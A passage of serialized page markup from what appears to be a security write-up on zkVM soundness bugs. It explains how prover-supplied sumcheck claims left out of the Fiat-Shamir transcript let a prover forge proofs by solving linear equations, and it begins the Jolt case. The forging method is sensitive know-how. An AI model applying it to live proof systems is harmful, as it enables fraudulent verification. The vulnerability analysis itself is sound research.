e",{"type":21,"tag":198,"props":114989,"children":114991},{"className":114990},[4837],[114992],{"type":21,"tag":198,"props":114993,"children":114995},{"className":114994},[4842,22435],[114996,115026],{"type":21,"tag":198,"props":114997,"children":114999},{"className":114998},[4847],[115000,115021],{"type":21,"tag":198,"props":115001,"children":115003},{"className":115002,"style":112761},[4852],[115004],{"type":21,"tag":198,"props":115005,"children":115007},{"style":115006},"top:-2.3488em;margin-right:0.0714em;",[115008,115012],{"type":21,"tag":198,"props":115009,"children":115011},{"className":115010,"style":109289},[4861],[],{"type":21,"tag":198,"props":115013,"children":115015},{"className":115014},[4867,109294,109295,4870],[115016],{"type":21,"tag":198,"props":115017,"children":115019},{"className":115018,"style":94858},[4822,22381,4870],[115020],{"type":27,"value":89066},{"type":21,"tag":198,"props":115022,"children":115024},{"className":115023},[22538],[115025],{"type":27,"value":22541},{"type":21,"tag":198,"props":115027,"children":115029},{"className":115028},[4847],[115030],{"type":21,"tag":198,"props":115031,"children":115034},{"className":115032,"style":115033},[4852],"height:0.1512em;",[115035],{"type":21,"tag":198,"props":115036,"children":115037},{},[],{"type":21,"tag":198,"props":115039,"children":115040},{"style":114002},[115041,115045],{"type":21,"tag":198,"props":115042,"children":115044},{"className":115043,"style":112600},[4861],[],{"type":21,"tag":198,"props":115046,"children":115048},{"className":115047,"style":114012},[114011],[],{"type":21,"tag":198,"props":115050,"children":115051},{"style":114016},[115052,115056],{"type":21,"tag":198,"props":115053,"children":115055},{"className":115054,"style":112600},[4861],[],{"type":21,"tag":198,"props":115057,"children":115059},{"className":115058},[4867,4868,4869,4870],[115060],{"type":21,"tag":198,"props":115061,"children":115063},{"className":115062},[4822,4870],[115064],{"type":21,"tag":198,"props":115065,"children":115067},{"className":115066},[4822,4870],[115068],{"type":27,"value":134},{"type":21,"tag":198,"props":115070,"children":115072},{"className":115071},[22538],[115073],{"type":27,"value":22541},{"type":21,"tag":198,"props":115075,"children":115077},{"className":115076},[4847],[115078],{"type":21,"tag":198,"props":115079,"children":115082},{"className":115080,"style":115081},[4852],"height:0.4509em;",[115083],{"type":21,"tag":198,"props":115084,"children":115085},{},[],{"type":21,"tag":198,"props":115087,"children":115089},{"className":115088},[22532,113947],[],{"type":21,"tag":30,"props":115091,"children":115092},{},[115093,115095,115277],{"type":27,"value":115094},"The global check: ",{"type":21,"tag":194,"props":115096,"children":115098},{"className":115097},[4794,4795],[115099],{"type":21,"tag":198,"props":115100,"children":115102},{"className":115101},[4800],[115103],{"type":21,"tag":198,"props":115104,"children":115106},{"className":115105,"ariaHidden":4806},[4805],[115107,115264],{"type":21,"tag":198,"props":115108,"children":115110},{"className":115109},[4811],[115111,115115,115172,115176,115185,115190,115251,115255,115260],{"type":21,"tag":198,"props":115112,"children":115114},{"className":115113,"style":93371},[4816],[],{"type":21,"tag":198,"props":115116,"children":115118},{"className":115117},[22417],[115119,115124],{"type":21,"tag":198,"props":115120,"children":115122},{"className":115121,"style":22424},[22417,22422,22423],[115123],{"type":27,"value":109224},{"type":21,"tag":198,"props":115125,"children":115127},{"className":115126},[4837],[115128],{"type":21,"tag":198,"props":115129,"children":115131},{"className":115130},[4842,22435],[115132,115161],{"type":21,"tag":198,"props":115133,"children":115135},{"className":115134},[4847],[115136,115156],{"type":21,"tag":198,"props":115137,"children":115139},{"className":115138,"style":114636},[4852],[115140],{"type":21,"tag":198,"props":115141,"children":115142},{"style":22448},[115143,115147],{"type":21,"tag":198,"props":115144,"children":115146},{"className":115145,"style":4862},[4861],[],{"type":21,"tag":198,"props":115148,"children":115150},{"className":115149},[4867,4868,4869,4870],[115151],{"type":21,"tag":198,"props":115152,"children":115154},{"className":115153},[4822,22381,4870],[115155],{"type":27,"value":4544},{"type":21,"tag":198,"props":115157,"children":115159},{"className":115158},[22538],[115160],{"type":27,"value":22541},{"type":21,"tag":198,"props":115162,"children":115164},{"className":115163},[4847],[115165],{"type":21,"tag":198,"props":115166,"children":115168},{"className":115167,"style":114916},[4852],[115169],{"type":21,"tag":198,"props":115170,"children":115171},{},[],{"type":21,"tag":198,"props":115173,"children":115175},{"className":115174,"style":4939},[4901],[],{"type":21,"tag":198,"props":115177,"children":115179},{"className":115178},[4822,27],[115180],{"type":21,"tag":198,"props":115181,"children":115183},{"className":115182},[4822],[115184],{"type":27,"value":114522},{"type":21,"tag":198,"props":115186,"children":115188},{"className":115187,"style":93429},[4822],[115189],{"type":27,"value":3891},{"type":21,"tag":198,"props":115191,"children":115193},{"className":115192},[4822],[115194,115203],{"type":21,"tag":198,"props":115195,"children":115197},{"className":115196},[4822,27],[115198],{"type":21,"tag":198,"props":115199,"children":115201},{"className":115200},[4822],[115202],{"type":27,"value":77014},{"type":21,"tag":198,"props":115204,"children":115206},{"className":115205},[4837],[115207],{"type":21,"tag":198,"props":115208,"children":115210},{"className":115209},[4842,22435],[115211,115240],{"type":21,"tag":198,"props":115212,"children":115214},{"className":115213},[4847],[115215,115235],{"type":21,"tag":198,"props":115216,"children":115218},{"className":115217,"style":93958},[4852],[115219],{"type":21,"tag":198,"props":115220,"children":115221},{"style":114559},[115222,115226],{"type":21,"tag":198,"props":115223,"children":115225},{"className":115224,"style":4862},[4861],[],{"type":21,"tag":198,"props":115227,"children":115229},{"className":115228},[4867,4868,4869,4870],[115230],{"type":21,"tag":198,"props":115231,"children":115233},{"className":115232},[4822,22381,4870],[115234],{"type":27,"value":4544},{"type":21,"tag":198,"props":115236,"children":115238},{"className":115237},[22538],[115239],{"type":27,"value":22541},{"type":21,"tag":198,"props":115241,"children":115243},{"className":115242},[4847],[115244],{"type":21,"tag":198,"props":115245,"children":115247},{"className":115246,"style":93512},[4852],[115248],{"type":21,"tag":198,"props":115249,"children":115250},{},[],{"type":21,"tag":198,"props":115252,"children":115254},{"className":115253,"style":4998},[4901],[],{"type":21,"tag":198,"props":115256,"children":115258},{"className":115257},[5003],[115259],{"type":27,"value":3174},{"type":21,"tag":198,"props":115261,"children":115263},{"className":115262,"style":4998},[4901],[],{"type":21,"tag":198,"props":115265,"children":115267},{"className":115266},[4811],[115268,115272],{"type":21,"tag":198,"props":115269,"children":115271},{"className":115270,"style":94460},[4816],[],{"type":21,"tag":198,"props":115273,"children":115275},{"className":115274},[4822],[115276],{"type":27,"value":3482},{"type":27,"value":658},{"type":21,"tag":30,"props":115279,"children":115280},{},[115281,115286,115288,115294],{"type":21,"tag":6137,"props":115282,"children":115283},{},[115284],{"type":27,"value":115285},"Why this is vulnerable:",{"type":27,"value":115287}," The ",{"type":21,"tag":194,"props":115289,"children":115291},{"className":115290},[],[115292],{"type":27,"value":115293},"claimed_sum",{"type":27,"value":115295}," values are prover-supplied. If they're not in the transcript before challenges are derived, the prover can adjust them to make the sum zero for an invalid execution.",{"type":21,"tag":19590,"props":115297,"children":115298},{},[],{"type":21,"tag":22,"props":115300,"children":115302},{"id":115301},"the-universal-attack-pattern",[115303],{"type":27,"value":115304},"The Universal Attack Pattern",{"type":21,"tag":30,"props":115306,"children":115307},{},[115308],{"type":27,"value":115309},"Now we can describe the attack pattern that works on all six systems:",{"type":21,"tag":30,"props":115311,"children":115312},{},[115313],{"type":21,"tag":1376,"props":115314,"children":115317},{"alt":115315,"src":115316},"2_attack_pattern","/posts/zkvms-unfaithful-claims/2_attack_pattern.svg",[],{"type":21,"tag":30,"props":115319,"children":115320},{},[115321,115323,115348],{"type":27,"value":115322},"When a value ",{"type":21,"tag":194,"props":115324,"children":115326},{"className":115325},[4794,4795],[115327],{"type":21,"tag":198,"props":115328,"children":115330},{"className":115329},[4800],[115331],{"type":21,"tag":198,"props":115332,"children":115334},{"className":115333,"ariaHidden":4806},[4805],[115335],{"type":21,"tag":198,"props":115336,"children":115338},{"className":115337},[4811],[115339,115343],{"type":21,"tag":198,"props":115340,"children":115342},{"className":115341,"style":22376},[4816],[],{"type":21,"tag":198,"props":115344,"children":115346},{"className":115345,"style":108627},[4822,22381],[115347],{"type":27,"value":108951},{"type":27,"value":115349}," isn't transcript-bound:",{"type":21,"tag":71,"props":115351,"children":115352},{},[115353,115384,115461,115606],{"type":21,"tag":75,"props":115354,"children":115355},{},[115356,115358,115383],{"type":27,"value":115357},"Challenges are fixed (independent of ",{"type":21,"tag":194,"props":115359,"children":115361},{"className":115360},[4794,4795],[115362],{"type":21,"tag":198,"props":115363,"children":115365},{"className":115364},[4800],[115366],{"type":21,"tag":198,"props":115367,"children":115369},{"className":115368,"ariaHidden":4806},[4805],[115370],{"type":21,"tag":198,"props":115371,"children":115373},{"className":115372},[4811],[115374,115378],{"type":21,"tag":198,"props":115375,"children":115377},{"className":115376,"style":22376},[4816],[],{"type":21,"tag":198,"props":115379,"children":115381},{"className":115380,"style":108627},[4822,22381],[115382],{"type":27,"value":108951},{"type":27,"value":2109},{"type":21,"tag":75,"props":115385,"children":115386},{},[115387,115389],{"type":27,"value":115388},"The verification equation has form: ",{"type":21,"tag":194,"props":115390,"children":115392},{"className":115391},[4794,4795],[115393],{"type":21,"tag":198,"props":115394,"children":115396},{"className":115395},[4800],[115397],{"type":21,"tag":198,"props":115398,"children":115400},{"className":115399,"ariaHidden":4806},[4805],[115401,115442],{"type":21,"tag":198,"props":115402,"children":115404},{"className":115403},[4811],[115405,115409,115414,115419,115424,115429,115433,115438],{"type":21,"tag":198,"props":115406,"children":115408},{"className":115407,"style":4922},[4816],[],{"type":21,"tag":198,"props":115410,"children":115412},{"className":115411,"style":95783},[4822,22381],[115413],{"type":27,"value":33864},{"type":21,"tag":198,"props":115415,"children":115417},{"className":115416},[22510],[115418],{"type":27,"value":706},{"type":21,"tag":198,"props":115420,"children":115422},{"className":115421,"style":108627},[4822,22381],[115423],{"type":27,"value":108951},{"type":21,"tag":198,"props":115425,"children":115427},{"className":115426},[22532],[115428],{"type":27,"value":2109},{"type":21,"tag":198,"props":115430,"children":115432},{"className":115431,"style":4998},[4901],[],{"type":21,"tag":198,"props":115434,"children":115436},{"className":115435},[5003],[115437],{"type":27,"value":3174},{"type":21,"tag":198,"props":115439,"children":115441},{"className":115440,"style":4998},[4901],[],{"type":21,"tag":198,"props":115443,"children":115445},{"className":115444},[4811],[115446,115451],{"type":21,"tag":198,"props":115447,"children":115450},{"className":115448,"style":115449},[4816],"height:0.8095em;vertical-align:-0.1944em;",[],{"type":21,"tag":198,"props":115452,"children":115454},{"className":115453},[4822,27],[115455],{"type":21,"tag":198,"props":115456,"children":115458},{"className":115457},[4822],[115459],{"type":27,"value":115460},"target",{"type":21,"tag":75,"props":115462,"children":115463},{},[115464,115465,115491,115493],{"type":27,"value":8292},{"type":21,"tag":194,"props":115466,"children":115468},{"className":115467},[4794,4795],[115469],{"type":21,"tag":198,"props":115470,"children":115472},{"className":115471},[4800],[115473],{"type":21,"tag":198,"props":115474,"children":115476},{"className":115475,"ariaHidden":4806},[4805],[115477],{"type":21,"tag":198,"props":115478,"children":115480},{"className":115479},[4811],[115481,115486],{"type":21,"tag":198,"props":115482,"children":115485},{"className":115483,"style":115484},[4816],"height:0.8889em;vertical-align:-0.1944em;",[],{"type":21,"tag":198,"props":115487,"children":115489},{"className":115488,"style":95783},[4822,22381],[115490],{"type":27,"value":33864},{"type":27,"value":115492}," is linear: ",{"type":21,"tag":194,"props":115494,"children":115496},{"className":115495},[4794,4795],[115497],{"type":21,"tag":198,"props":115498,"children":115500},{"className":115499},[4800],[115501],{"type":21,"tag":198,"props":115502,"children":115504},{"className":115503,"ariaHidden":4806},[4805],[115505,115534,115561,115589],{"type":21,"tag":198,"props":115506,"children":115508},{"className":115507},[4811],[115509,115514,115521,115525,115530],{"type":21,"tag":198,"props":115510,"children":115513},{"className":115511,"style":115512},[4816],"height:0.4445em;",[],{"type":21,"tag":198,"props":115515,"children":115518},{"className":115516,"style":115517},[4822,22381],"margin-right:0.0037em;",[115519],{"type":27,"value":115520},"α",{"type":21,"tag":198,"props":115522,"children":115524},{"className":115523,"style":4902},[4901],[],{"type":21,"tag":198,"props":115526,"children":115528},{"className":115527},[4907],[115529],{"type":27,"value":111691},{"type":21,"tag":198,"props":115531,"children":115533},{"className":115532,"style":4902},[4901],[],{"type":21,"tag":198,"props":115535,"children":115537},{"className":115536},[4811],[115538,115543,115548,115552,115557],{"type":21,"tag":198,"props":115539,"children":115542},{"className":115540,"style":115541},[4816],"height:0.7667em;vertical-align:-0.0833em;",[],{"type":21,"tag":198,"props":115544,"children":115546},{"className":115545,"style":108627},[4822,22381],[115547],{"type":27,"value":108951},{"type":21,"tag":198,"props":115549,"children":115551},{"className":115550,"style":4902},[4901],[],{"type":21,"tag":198,"props":115553,"children":115555},{"className":115554},[4907],[115556],{"type":27,"value":5193},{"type":21,"tag":198,"props":115558,"children":115560},{"className":115559,"style":4902},[4901],[],{"type":21,"tag":198,"props":115562,"children":115564},{"className":115563},[4811],[115565,115569,115576,115580,115585],{"type":21,"tag":198,"props":115566,"children":115568},{"className":115567,"style":115484},[4816],[],{"type":21,"tag":198,"props":115570,"children":115573},{"className":115571,"style":115572},[4822,22381],"margin-right:0.05278em;",[115574],{"type":27,"value":115575},"β",{"type":21,"tag":198,"props":115577,"children":115579},{"className":115578,"style":4998},[4901],[],{"type":21,"tag":198,"props":115581,"children":115583},{"className":115582},[5003],[115584],{"type":27,"value":3174},{"type":21,"tag":198,"props":115586,"children":115588},{"className":115587,"style":4998},[4901],[],{"type":21,"tag":198,"props":115590,"children":115592},{"className":115591},[4811],[115593,115597],{"type":21,"tag":198,"props":115594,"children":115596},{"className":115595,"style":115449},[4816],[],{"type":21,"tag":198,"props":115598,"children":115600},{"className":115599},[4822,27],[115601],{"type":21,"tag":198,"props":115602,"children":115604},{"className":115603},[4822],[115605],{"type":27,"value":115460},{"type":21,"tag":75,"props":115607,"children":115608},{},[115609,115611],{"type":27,"value":115610},"Solve: ",{"type":21,"tag":194,"props":115612,"children":115614},{"className":115613},[4794,4795],[115615],{"type":21,"tag":198,"props":115616,"children":115618},{"className":115617},[4800],[115619],{"type":21,"tag":198,"props":115620,"children":115622},{"className":115621,"ariaHidden":4806},[4805],[115623,115649,115684],{"type":21,"tag":198,"props":115624,"children":115626},{"className":115625},[4811],[115627,115631,115636,115640,115645],{"type":21,"tag":198,"props":115628,"children":115630},{"className":115629,"style":22376},[4816],[],{"type":21,"tag":198,"props":115632,"children":115634},{"className":115633,"style":108627},[4822,22381],[115635],{"type":27,"value":108951},{"type":21,"tag":198,"props":115637,"children":115639},{"className":115638,"style":4998},[4901],[],{"type":21,"tag":198,"props":115641,"children":115643},{"className":115642},[5003],[115644],{"type":27,"value":3174},{"type":21,"tag":198,"props":115646,"children":115648},{"className":115647,"style":4998},[4901],[],{"type":21,"tag":198,"props":115650,"children":115652},{"className":115651},[4811],[115653,115657,115662,115671,115675,115680],{"type":21,"tag":198,"props":115654,"children":115656},{"className":115655,"style":4922},[4816],[],{"type":21,"tag":198,"props":115658,"children":115660},{"className":115659},[22510],[115661],{"type":27,"value":706},{"type":21,"tag":198,"props":115663,"children":115665},{"className":115664},[4822,27],[115666],{"type":21,"tag":198,"props":115667,"children":115669},{"className":115668},[4822],[115670],{"type":27,"value":115460},{"type":21,"tag":198,"props":115672,"children":115674},{"className":115673,"style":4902},[4901],[],{"type":21,"tag":198,"props":115676,"children":115678},{"className":115677},[4907],[115679],{"type":27,"value":4881},{"type":21,"tag":198,"props":115681,"children":115683},{"className":115682,"style":4902},[4901],[],{"type":21,"tag":198,"props":115685,"children":115687},{"className":115686},[4811],[115688,115692,115697,115702,115707],{"type":21,"tag":198,"props":115689,"children":115691},{"className":115690,"style":4922},[4816],[],{"type":21,"tag":198,"props":115693,"children":115695},{"className":115694,"style":115572},[4822,22381],[115696],{"type":27,"value":115575},{"type":21,"tag":198,"props":115698,"children":115700},{"className":115699},[22532],[115701],{"type":27,"value":2109},{"type":21,"tag":198,"props":115703,"children":115705},{"className":115704},[4822],[115706],{"type":27,"value":2232},{"type":21,"tag":198,"props":115708,"children":115710},{"className":115709,"style":115517},[4822,22381],[115711],{"type":27,"value":115520},{"type":21,"tag":30,"props":115713,"children":115714},{},[115715],{"type":27,"value":115716},"In the simplest linear case, forging reduces to solving a low-dimensional field equation, while other systems require small coupled systems.",{"type":21,"tag":30,"props":115718,"children":115719},{},[115720,115722,115800],{"type":27,"value":115721},"For systems with multiple unbound values, we get a system of linear equations. Gaussian elimination solves it in ",{"type":21,"tag":194,"props":115723,"children":115725},{"className":115724},[4794,4795],[115726],{"type":21,"tag":198,"props":115727,"children":115729},{"className":115728},[4800],[115730],{"type":21,"tag":198,"props":115731,"children":115733},{"className":115732,"ariaHidden":4806},[4805],[115734],{"type":21,"tag":198,"props":115735,"children":115737},{"className":115736},[4811],[115738,115743,115749,115754,115795],{"type":21,"tag":198,"props":115739,"children":115742},{"className":115740,"style":115741},[4816],"height:1.0641em;vertical-align:-0.25em;",[],{"type":21,"tag":198,"props":115744,"children":115746},{"className":115745,"style":93429},[4822,22381],[115747],{"type":27,"value":115748},"O",{"type":21,"tag":198,"props":115750,"children":115752},{"className":115751},[22510],[115753],{"type":27,"value":706},{"type":21,"tag":198,"props":115755,"children":115757},{"className":115756},[4822],[115758,115763],{"type":21,"tag":198,"props":115759,"children":115761},{"className":115760},[4822,22381],[115762],{"type":27,"value":56780},{"type":21,"tag":198,"props":115764,"children":115766},{"className":115765},[4837],[115767],{"type":21,"tag":198,"props":115768,"children":115770},{"className":115769},[4842],[115771],{"type":21,"tag":198,"props":115772,"children":115774},{"className":115773},[4847],[115775],{"type":21,"tag":198,"props":115776,"children":115778},{"className":115777,"style":4817},[4852],[115779],{"type":21,"tag":198,"props":115780,"children":115781},{"style":4856},[115782,115786],{"type":21,"tag":198,"props":115783,"children":115785},{"className":115784,"style":4862},[4861],[],{"type":21,"tag":198,"props":115787,"children":115789},{"className":115788},[4867,4868,4869,4870],[115790],{"type":21,"tag":198,"props":115791,"children":115793},{"className":115792},[4822,4870],[115794],{"type":27,"value":18097},{"type":21,"tag":198,"props":115796,"children":115798},{"className":115797},[22532],[115799],{"type":27,"value":2109},{"type":27,"value":115801}," field operations. For non-linear constraints, we might need to use some more advanced techniques like resultants and Groebner bases.",{"type":21,"tag":19590,"props":115803,"children":115804},{},[],{"type":21,"tag":22,"props":115806,"children":115808},{"id":115807},"the-six-broken-systems",[115809],{"type":27,"value":115810},"The Six Broken Systems",{"type":21,"tag":30,"props":115812,"children":115813},{},[115814],{"type":21,"tag":1376,"props":115815,"children":115818},{"alt":115816,"src":115817},"3_six_broken_systems","/posts/zkvms-unfaithful-claims/3_six_broken_systems.svg",[],{"type":21,"tag":30,"props":115820,"children":115821},{},[115822],{"type":27,"value":115823},"Now let's see how this plays out in each system. We'll go deep on the first one (Jolt) to establish the pattern, then focus on what's unique about each subsequent system.",{"type":21,"tag":19590,"props":115825,"children":115826},{},[],{"type":21,"tag":59,"props":115828,"children":115830},{"id":115829},"jolt-a16z",[115831],{"type":27,"value":115832},"Jolt (a16z)",{"type":21,"tag":30,"props":115834,"children":115835},{},[115836],{"type":27,"value":115837},"Jolt is a zkVM for RISC-V programs, built by a16z. It uses sumcheck extensively to verify execution constraints.",{"type":21,"tag":30,"props":115839,"children":115840},{},[115841],{"type":21,"tag":6137,"props":115842,"children":115843},{},[115844],{"type":27,"value":115845},"The proof structure:",{"type":21,"tag":187,"props":115847,"children":115849},{"code":115848},"JoltProof {\n commitments: Vec\u003CCommitment>, // Polynomial commitments to trace\n opening_claims: Map\u003COpeningId, Claim>, // \u003C- THE VULNERABLE VALUES\n proofs: Map\u003CStage, SumcheckProof>, // Sumcheck and opening proofs\n ...\n}\n",[115850],{"type":21,"tag":194,"props":115851,"children":115852},{"__ignoreMap":7},[115853],{"type":27,"value":115848},{"type":21,"tag":30,"props":115855,"children":115856},{},[115857],{"type":21,"tag":6137,"props":115858,"children":115859},{},[115860],{"type":27,"value":115861},"The verification flow:",{"type":21,"tag":30,"props":115863,"children":115864},{},[115865],{"type":21,"tag":1376,"props":115866,"children":115869},{"alt":115867,"src":115868},"4_jolt_verification_flow","/posts/zkvms-unfaithful-claims/4_jolt_verification_flow.svg",[],{"type":21,"tag":30,"props":115871,"children":115872},{},[115873,115878,115880,115886,115888,115894,115896,115901],{"type":21,"tag":6137,"props":115874,"children":115875},{},[115876],{"type":27,"value":115877},"The bug:",{"type":27,"value":115879}," Each sumcheck instance provides an ",{"type":21,"tag":194,"props":115881,"children":115883},{"className":115882},[],[115884],{"type":27,"value":115885},"input_claim",{"type":27,"value":115887},", which is the value the polynomial allegedly sums to over the Boolean hypercube. These claims come from ",{"type":21,"tag":194,"props":115889,"children":115891},{"className":115890},[],[115892],{"type":27,"value":115893},"opening_claims",{"type":27,"value":115895}," in the proof, but they were ",{"type":21,"tag":6137,"props":115897,"children":115898},{},[115899],{"type":27,"value":115900},"never absorbed into the transcript",{"type":27,"value":115902}," before the batching coefficients were derived.",{"type":21,"tag":30,"props":115904,"children":115905},{},[115906],{"type":21,"tag":1376,"props":115907,"children":115910},{"alt":115908,"src":115909},"5_jolt_flow","/posts/zkvms-unfaithful-claims/5_jolt_flow.svg",[],{"type":21,"tag":30,"props":115912,"children":115913},{},[115914],{"type":21,"tag":6137,"props":115915,"children":115916},{},[115917],{"type":27,"value":115918},"How sumcheck uses opening_claims:",{"type":21,"tag":30,"props":115920,"children":115921},{},[115922,115924,115930,115932,116009],{"type":27,"value":115923},"In Jolt's batched sumcheck, the verifier computes a target value ",{"type":21,"tag":194,"props":115925,"children":115927},{"className":115926},[],[115928],{"type":27,"value":115929},"BatchedClaim",{"type":27,"value":115931}," by taking a random linear combination of the individual claims ",{"type":21,"tag":194,"props":115933,"children":115935},{"className":115934},[4794,4795],[115936],{"type":21,"tag":198,"props":115937,"children":115939},{"className":115938},[4800],[115940],{"type":21,"tag":198,"props":115941,"children":115943},{"className":115942,"ariaHidden":4806},[4805],[115944],{"type":21,"tag":198,"props":115945,"children":115947},{"className":115946},[4811],[115948,115952],{"type":21,"tag":198,"props":115949,"children":115951},{"className":115950,"style":111426},[4816],[],{"type":21,"tag":198,"props":115953,"children":115955},{"className":115954},[4822],[115956,115961],{"type":21,"tag":198,"props":115957,"children":115959},{"className":115958,"style":93663},[4822,22381],[115960],{"type":27,"value":93666},{"type":21,"tag":198,"props":115962,"children":115964},{"className":115963},[4837],[115965],{"type":21,"tag":198,"props":115966,"children":115968},{"className":115967},[4842,22435],[115969,115998],{"type":21,"tag":198,"props":115970,"children":115972},{"className":115971},[4847],[115973,115993],{"type":21,"tag":198,"props":115974,"children":115976},{"className":115975,"style":93958},[4852],[115977],{"type":21,"tag":198,"props":115978,"children":115979},{"style":110858},[115980,115984],{"type":21,"tag":198,"props":115981,"children":115983},{"className":115982,"style":4862},[4861],[],{"type":21,"tag":198,"props":115985,"children":115987},{"className":115986},[4867,4868,4869,4870],[115988],{"type":21,"tag":198,"props":115989,"children":115991},{"className":115990},[4822,22381,4870],[115992],{"type":27,"value":4544},{"type":21,"tag":198,"props":115994,"children":115996},{"className":115995},[22538],[115997],{"type":27,"value":22541},{"type":21,"tag":198,"props":115999,"children":116001},{"className":116000},[4847],[116002],{"type":21,"tag":198,"props":116003,"children":116005},{"className":116004,"style":93512},[4852],[116006],{"type":21,"tag":198,"props":116007,"children":116008},{},[],{"type":27,"value":185},{"type":21,"tag":30,"props":116011,"children":116012},{},[116013],{"type":21,"tag":194,"props":116014,"children":116016},{"className":116015},[4794,4795],[116017],{"type":21,"tag":198,"props":116018,"children":116020},{"className":116019},[4800],[116021],{"type":21,"tag":198,"props":116022,"children":116024},{"className":116023,"ariaHidden":4806},[4805],[116025,116055,116196],{"type":21,"tag":198,"props":116026,"children":116028},{"className":116027},[4811],[116029,116033,116042,116046,116051],{"type":21,"tag":198,"props":116030,"children":116032},{"className":116031,"style":93344},[4816],[],{"type":21,"tag":198,"props":116034,"children":116036},{"className":116035},[4822,27],[116037],{"type":21,"tag":198,"props":116038,"children":116040},{"className":116039},[4822],[116041],{"type":27,"value":115929},{"type":21,"tag":198,"props":116043,"children":116045},{"className":116044,"style":4998},[4901],[],{"type":21,"tag":198,"props":116047,"children":116049},{"className":116048},[5003],[116050],{"type":27,"value":3174},{"type":21,"tag":198,"props":116052,"children":116054},{"className":116053,"style":4998},[4901],[],{"type":21,"tag":198,"props":116056,"children":116058},{"className":116057},[4811],[116059,116064,116121,116125,116183,116187,116192],{"type":21,"tag":198,"props":116060,"children":116063},{"className":116061,"style":116062},[4816],"height:1.0497em;vertical-align:-0.2997em;",[],{"type":21,"tag":198,"props":116065,"children":116067},{"className":116066},[22417],[116068,116073],{"type":21,"tag":198,"props":116069,"children":116071},{"className":116070,"style":22424},[22417,22422,22423],[116072],{"type":27,"value":109224},{"type":21,"tag":198,"props":116074,"children":116076},{"className":116075},[4837],[116077],{"type":21,"tag":198,"props":116078,"children":116080},{"className":116079},[4842,22435],[116081,116110],{"type":21,"tag":198,"props":116082,"children":116084},{"className":116083},[4847],[116085,116105],{"type":21,"tag":198,"props":116086,"children":116088},{"className":116087,"style":114636},[4852],[116089],{"type":21,"tag":198,"props":116090,"children":116091},{"style":22448},[116092,116096],{"type":21,"tag":198,"props":116093,"children":116095},{"className":116094,"style":4862},[4861],[],{"type":21,"tag":198,"props":116097,"children":116099},{"className":116098},[4867,4868,4869,4870],[116100],{"type":21,"tag":198,"props":116101,"children":116103},{"className":116102},[4822,22381,4870],[116104],{"type":27,"value":4544},{"type":21,"tag":198,"props":116106,"children":116108},{"className":116107},[22538],[116109],{"type":27,"value":22541},{"type":21,"tag":198,"props":116111,"children":116113},{"className":116112},[4847],[116114],{"type":21,"tag":198,"props":116115,"children":116117},{"className":116116,"style":114916},[4852],[116118],{"type":21,"tag":198,"props":116119,"children":116120},{},[],{"type":21,"tag":198,"props":116122,"children":116124},{"className":116123,"style":4939},[4901],[],{"type":21,"tag":198,"props":116126,"children":116128},{"className":116127},[4822],[116129,116134],{"type":21,"tag":198,"props":116130,"children":116132},{"className":116131,"style":115517},[4822,22381],[116133],{"type":27,"value":115520},{"type":21,"tag":198,"props":116135,"children":116137},{"className":116136},[4837],[116138],{"type":21,"tag":198,"props":116139,"children":116141},{"className":116140},[4842,22435],[116142,116172],{"type":21,"tag":198,"props":116143,"children":116145},{"className":116144},[4847],[116146,116167],{"type":21,"tag":198,"props":116147,"children":116149},{"className":116148,"style":93958},[4852],[116150],{"type":21,"tag":198,"props":116151,"children":116153},{"style":116152},"top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;",[116154,116158],{"type":21,"tag":198,"props":116155,"children":116157},{"className":116156,"style":4862},[4861],[],{"type":21,"tag":198,"props":116159,"children":116161},{"className":116160},[4867,4868,4869,4870],[116162],{"type":21,"tag":198,"props":116163,"children":116165},{"className":116164},[4822,22381,4870],[116166],{"type":27,"value":4544},{"type":21,"tag":198,"props":116168,"children":116170},{"className":116169},[22538],[116171],{"type":27,"value":22541},{"type":21,"tag":198,"props":116173,"children":116175},{"className":116174},[4847],[116176],{"type":21,"tag":198,"props":116177,"children":116179},{"className":116178,"style":93512},[4852],[116180],{"type":21,"tag":198,"props":116181,"children":116182},{},[],{"type":21,"tag":198,"props":116184,"children":116186},{"className":116185,"style":4902},[4901],[],{"type":21,"tag":198,"props":116188,"children":116190},{"className":116189},[4907],[116191],{"type":27,"value":111691},{"type":21,"tag":198,"props":116193,"children":116195},{"className":116194,"style":4902},[4901],[],{"type":21,"tag":198,"props":116197,"children":116199},{"className":116198},[4811],[116200,116204],{"type":21,"tag":198,"props":116201,"children":116203},{"className":116202,"style":111426},[4816],[],{"type":21,"tag":198,"props":116205,"children":116207},{"className":116206},[4822],[116208,116213],{"type":21,"tag":198,"props":116209,"children":116211},{"className":116210,"style":93663},[4822,22381],[116212],{"type":27,"value":93666},{"type":21,"tag":198,"props":116214,"children":116216},{"className":116215},[4837],[116217],{"type":21,"tag":198,"props":116218,"children":116220},{"className":116219},[4842,22435],[116221,116250],{"type":21,"tag":198,"props":116222,"children":116224},{"className":116223},[4847],[116225,116245],{"type":21,"tag":198,"props":116226,"children":116228},{"className":116227,"style":93958},[4852],[116229],{"type":21,"tag":198,"props":116230,"children":116231},{"style":110858},[116232,116236],{"type":21,"tag":198,"props":116233,"children":116235},{"className":116234,"style":4862},[4861],[],{"type":21,"tag":198,"props":116237,"children":116239},{"className":116238},[4867,4868,4869,4870],[116240],{"type":21,"tag":198,"props":116241,"children":116243},{"className":116242},[4822,22381,4870],[116244],{"type":27,"value":4544},{"type":21,"tag":198,"props":116246,"children":116248},{"className":116247},[22538],[116249],{"type":27,"value":22541},{"type":21,"tag":198,"props":116251,"children":116253},{"className":116252},[4847],[116254],{"type":21,"tag":198,"props":116255,"children":116257},{"className":116256,"style":93512},[4852],[116258],{"type":21,"tag":198,"props":116259,"children":116260},{},[],{"type":21,"tag":30,"props":116262,"children":116263},{},[116264,116266,116343,116345,116350,116352,116429,116431,116508,116510,116587],{"type":27,"value":116265},"where 